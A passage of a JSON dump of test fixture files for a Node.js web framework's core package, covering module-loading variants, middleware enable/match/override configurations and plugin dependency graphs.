    "content": "{\n  \"name\": \"load_to_app\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/es-module-default-async.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = async function () {\n  return { clients: 'Test Config' };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/es-module-default-null.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = null;\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/es-module-default-promise.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = function () {\n  return Promise.resolve({ clients: 'Test Config' });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/es-module-default.js",
    "content": "'use strict';\nexports.__esModule = true;\nexports['default'] = {\n  fn() {},\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/es-module.js",
    "content": "'use strict';\nexports.__esModule = true;\nfunction fn() {\n  console.log(fn);\n}\nexports.fn = fn;\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/no-js.yml",
    "content": "---\nmap:\n  a: 1\n  b: 2\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/null.js",
    "content": "'use strict';\n\nmodule.exports = null;\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/object.js",
    "content": "'use strict';\n\nmodule.exports = { a: 1 };\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/object2.mjs",
    "content": "export default { a: 1 };\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile/zero.js",
    "content": "'use strict';\n\nmodule.exports = 0;\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/es-module-default-async.js",
    "content": "'use strict';\nexport default async function () {\n  return { clients: 'Test Config' };\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/es-module-default-null.js",
    "content": "export default null;\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/es-module-default-promise.js",
    "content": "'use strict';\nexport default function () {\n  return Promise.resolve({ clients: 'Test Config' });\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/es-module-default.js",
    "content": "export default {\n  fn() {},\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/es-module.js",
    "content": "export function fn() {\n  console.log(fn);\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/no-js.yml",
    "content": "---\nmap:\n  a: 1\n  b: 2\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/null.js",
    "content": "export default null;\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/object.js",
    "content": "export default { a: 1 };\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/object2.cjs",
    "content": "'use strict';\n\nmodule.exports = { a: 1 };\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/loadfile-esm/zero.js",
    "content": "export default 0;\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app/middleware/common.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function (ctx, next) {\n    return next().then(() => (ctx.body = 'common'));\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async (ctx, next) => {\n    ctx.set('custom', 'custom');\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app/middleware/match.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async (ctx, next) => {\n    ctx.set('match', 'match');\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app/middleware/router.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async (ctx, next) => {\n    ctx.set('router', 'router');\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async (ctx, next) => {\n    if (ctx.path === '/static') {\n      ctx.set('static', 'static');\n    }\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/router', app.middlewares.router(), controller);\n  app.get('/static', controller);\n  app.get('/match', controller);\n  app.get('/common', controller);\n  app.get('/', controller);\n};\n\nfunction controller() {\n  this.body = 'hello';\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.use(require('./app/middleware/custom')());\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/config/config.js",
    "content": "exports.middleware = ['static', 'match', 'common'];\n\nexports.match = {\n  match: '/match',\n};\n\nexports.common = {\n  match: '/common',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-aa/package.json",
    "content": "{\n  \"name\": \"middleware-aa\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-app-disable/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async function appCustom(ctx) {\n    ctx.body = 'app custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-app-disable/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async function (ctx, next) {\n    if (ctx.path === '/static') {\n      ctx.body = 'static';\n      return;\n    }\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-app-disable/config/config.js",
    "content": "exports.middleware = ['static'];\n\nexports.static = {\n  enable: false,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-app-disable/package.json",
    "content": "{\n  \"name\": \"middleware-disable\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-disable/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* appCustom() {\n    this.body = 'app custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-disable/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* (next) {\n    if (this.path === '/static') {\n      this.body = 'static';\n      return;\n    }\n    yield next;\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-disable/config/config.js",
    "content": "exports.status = {\n  enable: false,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-disable/package.json",
    "content": "{\n  \"name\": \"middleware-disable\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-ignore/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* appCustom() {\n    this.body = 'app custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-ignore/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* (next) {\n    if (this.path === '/static') {\n      this.body = 'static';\n      return;\n    }\n    yield next;\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-ignore/config/config.js",
    "content": "exports.status = {\n  ignore(ctx) {\n    return ctx.method === 'GET';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-ignore/package.json",
    "content": "{\n  \"name\": \"middleware-disable\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-match/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* appCustom() {\n    this.body = 'app custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-match/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* (next) {\n    if (this.path === '/static') {\n      this.body = 'static';\n      return;\n    }\n    yield next;\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-match/config/config.js",
    "content": "exports.status = {\n  match(ctx) {\n    return ctx.method === 'GET';\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-match/package.json",
    "content": "{\n  \"name\": \"middleware-disable\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async function appCustom(ctx) {\n    ctx.body = 'app custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async function (ctx, next) {\n    if (ctx.path === '/static') {\n      ctx.body = 'static';\n      return;\n    }\n    await next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/config/config.js",
    "content": "exports.middleware = ['static', 'custom'];\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  // 插件简写\n  a: false,\n\n  // 标准写法\n  b: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/a/app/middleware/a.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* () {\n    this.body = 'plugin a a';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/a/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* () {\n    this.body = 'plugin a custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/a/package.json",
    "content": "{\n  \"name\": \"a\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/b/app/middleware/b.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* () {\n    this.body = 'plugin b b';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/b/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* () {\n    this.body = 'plugin b custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/b/app/middleware/status.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* bStatus(next) {\n    if (this.path === '/status') {\n      this.body = 'status';\n      return;\n    }\n    yield next;\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/node_modules/b/package.json",
    "content": "{\n  \"name\": \"b\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-override/package.json",
    "content": "{\n  \"name\": \"middleware-override\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-redefined/app/middleware/custom.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* appCustom() {\n    this.body = 'app custom';\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-redefined/app/middleware/static.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function* (next) {\n    if (this.path === '/static') {\n      this.body = 'static';\n      return;\n    }\n    yield next;\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-redefined/config/config.js",
    "content": "exports.middleware = ['status'];\n"
  },
  {
    "path": "packages/core/test/fixtures/middleware-redefined/package.json",
    "content": "{\n  \"name\": \"middleware-redefined\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/no-core-middleware/package.json",
    "content": "{\n  \"name\": \"no-core-middleware\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/no-dep-plugin/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  customA: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  customB: {\n    enable: false,\n    package: '@ali/b',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/no-dep-plugin/package.json",
    "content": "{\n  \"name\": \"no-dep-plugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/no-dep-plugin/plugins/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"name\": \"customA\",\n    \"dep\": [\n      \"customB\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/no-helper/app/extend/helper.js",
    "content": "'use strict';\n\nmodule.exports = {\n  foo: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/no-helper/package.json",
    "content": "{\n  \"name\": \"no-helper\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/no-middleware/config/config.js",
    "content": "'use strict';\n\nmodule.exports = {\n  middleware: ['a'],\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/no-middleware/package.json",
    "content": "{\n  \"name\": \"no-middleware\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/no-redefine-plugin/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/no-redefine-plugin/package.json",
    "content": "{\n  \"name\": \"no-redefine-plugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/noplugin/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  session: false,\n  zzz: false,\n  package: false,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/noplugin/package.json",
    "content": "{\n  \"name\": \"noplugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/nothing/package.json",
    "content": "{\n  \"name\": \"nothing\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/notready/a/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.readyCallback('a');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/notready/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/notready/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.a = {\n  enable: true,\n  path: path.join(__dirname, '../a'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/notready/package.json",
    "content": "{\n  \"name\": \"notready\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/other-directory/app/other-controller/user.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class UserService extends app.Controller {};\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/other-directory/app/other-middleware/user.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return function* () {};\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/other-directory/app/other-service/user.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class UserService extends app.Service {};\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/other-directory/package.json",
    "content": "{\n  \"name\": \"other-directory\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.date = Date.now();\n  agent.agent = 'agent';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/proxy/OnlyClassQuery.js",
    "content": "'use strict';\n\nconst Proxy = require('../../../egg/proxy');\n\nclass OnlyCLassQuery extends Proxy {\n  constructor(ctx) {\n    super(ctx);\n  }\n\n  *query() {\n    return {\n      foo: 'clz',\n    };\n  }\n}\n\nmodule.exports = OnlyCLassQuery;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/proxy/UserInfoQuery.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class UserInfoQuery extends app.Proxy {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *query() {\n      return {\n        foo: 'bar',\n      };\n    }\n  }\n\n  return UserInfoQuery;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/proxy/couponQuery.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class CouponQuery extends app.Proxy {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *query() {\n      return {\n        coupon: 100,\n      };\n    }\n  }\n\n  return CouponQuery;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.get('/', async function () {\n    const foo2 = await this.service.foo2();\n    const foo3 = await this.service.foo3.foo3();\n    this.body = {\n      foo2: foo2,\n      foo3: foo3,\n      foo4: !!this.service.foo4,\n      foo5: !!this.service.fooDir.foo5,\n      foo: !!this.service.foo,\n      bar2: !!this.service.bar2,\n    };\n  });\n\n  app.get('/proxy', async function () {\n    this.body = {\n      coupon: await this.proxy.couponQuery.query(),\n      userInfo: await this.proxy.userInfoQuery.query(),\n      onlyClass: await this.proxy.onlyClassQuery.query(),\n    };\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/service/Foo4.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo4 extends app.Service {}\n\n  return Foo4;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/service/foo.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo extends app.Service {}\n\n  return Foo;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/service/foo2.js",
    "content": "module.exports = async () => {\n  return 'foo2';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/service/foo3/foo3.js",
    "content": "module.exports = async () => {\n  return 'foo3';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app/service/fooDir/Foo5.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Foo5 extends app.Service {}\n\n  return Foo5;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.date = Date.now();\n  app.app = 'app';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/config/config.js",
    "content": "exports.plugin = 'override plugin';\n\nexports.middleware = [];\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  // 插件简写\n  a: false,\n\n  a1: true,\n\n  // 标准写法\n  b: {\n    enable: true,\n  },\n\n  // 会自动补全信息\n  c: {},\n\n  // 别名，app.plugins.d1\n  d1: {\n    package: 'd',\n  },\n\n  e: {\n    path: path.join(__dirname, '../plugins/e'),\n  },\n\n  f: {\n    path: path.join(__dirname, '../plugins/f'),\n  },\n\n  g: {\n    path: path.join(__dirname, '../plugins/g'),\n  },\n\n  // 覆盖内置的\n  rds: {\n    enable: true,\n    dep: ['session'],\n    package: 'rds',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/a/app/proxy/a.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/a/app/service/bar1.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/a/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.dateA = Date.now();\n  app.a = 'plugin a';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/a/config/config.js",
    "content": "exports.pluginA = 1;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/a1/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a1\",\n    \"dep\": [ \"d1\" ],\n    \"env\": [ \"local\", \"prod\" ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/b/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.dateB = Date.now();\n  agent.b = 'plugin b';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/b/app/service/bar2.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar2 extends app.Service {}\n\n  return Bar2;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/b/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.dateB = Date.now();\n  app.b = 'plugin b';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/c/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.dateC = Date.now();\n  agent.c = 'plugin c';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/c/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.dateC = Date.now();\n  app.c = 'plugin c';\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/c/config/config.js",
    "content": "exports.name = 'override default';\n\nexports.plugin = 'overridden by app';\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/d/.gitkeep",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/d/config/config.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/d/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"d1\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/rds/.gitkeep",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/plugin/node_modules/rds/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"rds\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/package.json",
    "content": "{\n  \"name\": \"plugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/plugin-middleware/config/config.default.js",
    "content": "exports.middleware = [];\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/plugin-middleware/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"middleware\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/plugin-proxy/config/config.default.js",
    "content": "exports.proxy = {};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/plugin-proxy/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"proxy\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/plugins/e/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"wrong-name\",\n    \"dep\": [\n      \"f\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin/plugins/g/package.json",
    "content": "{\n  \"version\": \"1.0.0\",\n  \"eggPlugin\": {\n    \"name\": \"g\",\n    \"dep\": [\n      \"f\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.rpc = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/rpc'),\n};\n\nexports.ldc = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/ldc'),\n};\n\nexports.zoneclient = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/zoneclient'),\n};\n\nexports.zookeeper = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/zookeeper'),\n};\n\nexports.vip = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/vip'),\n};\n\nexports.ddcs = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/ddcs'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/plugin/ddcs/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"ddcs\",\n    \"dependencies\": [\n      \"zookeeper\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/plugin/ldc/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"ldc\",\n    \"dependencies\": [\n      \"rpc\",\n      \"zoneclient\",\n      \"vip\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/plugin/rpc/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"rpc\",\n    \"optionalDependencies\": [\n      \"zookeeper\",\n      \"vip\",\n      \"zoneclient\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/plugin/vip/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"vip\",\n    \"dependencies\": [\n      \"ddcs\",\n      \"zookeeper\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/plugin/zoneclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"zoneclient\",\n    \"dependencies\": [\n      \"vip\",\n      \"ddcs\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-dependencies/plugin/zookeeper/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"zookeeper\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-deps/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.tracelog = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/tracelog'),\n};\n\nexports.rpcServer = {\n  enable: false,\n  path: path.join(__dirname, '../plugin/rpc-server'),\n};\n\nexports.gw = {\n  enable: false,\n  path: path.join(__dirname, '../plugin/gw'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-deps/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-deps/plugin/gw/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"gw\",\n    \"dependencies\": [\n      \"rpcServer\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-deps/plugin/rpc-server/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"rpcServer\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-complex-deps/plugin/tracelog/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"tracelog\",\n    \"optionalDependencies\": [\n      \"gw\",\n      \"rpcServer\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    dep: ['b', 'f'],\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c1: {\n    enable: true,\n    dep: ['b'],\n    path: path.join(__dirname, '../plugins/c'),\n  },\n\n  d: {\n    enable: true,\n    dep: ['a'],\n    path: path.join(__dirname, '../plugins/d'),\n  },\n\n  e: {\n    enable: true,\n    dep: ['f'],\n    path: path.join(__dirname, '../plugins/e'),\n  },\n\n  f: {\n    enable: true,\n    dep: ['c1'],\n    path: path.join(__dirname, '../plugins/f'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep/package.json",
    "content": "{\n  \"name\": \"plugin-dep\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/config/plugin.js",
    "content": "'use strict';\n\nexports.e = false;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/framework/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c: {\n    enable: false,\n    path: path.join(__dirname, '../plugins/c'),\n  },\n\n  d: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/d'),\n  },\n\n  e: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/e'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/framework/plugins/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"name\": \"a\",\n    \"dep\": [\n      \"b\",\n      \"c\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/framework/plugins/b/package.json",
    "content": "{\n  \"name\": \"b\",\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/framework/plugins/c/package.json",
    "content": "{\n  \"name\": \"c\",\n  \"eggPlugin\": {\n    \"name\": \"c\",\n    \"dep\": [\n      \"e\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/framework/plugins/d/package.json",
    "content": "{\n  \"name\": \"d\",\n  \"eggPlugin\": {\n    \"name\": \"d\",\n    \"dep\": [\n      \"b\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/framework/plugins/e/package.json",
    "content": "{\n  \"name\": \"e\",\n  \"eggPlugin\": {\n    \"name\": \"e\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-disable/package.json",
    "content": "{\n  \"name\": \"plugin-dep-missing\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-missing/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    dep: ['b'],\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: true,\n    dep: ['c'],\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c: {\n    enable: true,\n    dep: ['a1'],\n    path: path.join(__dirname, '../plugins/c'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-missing/package.json",
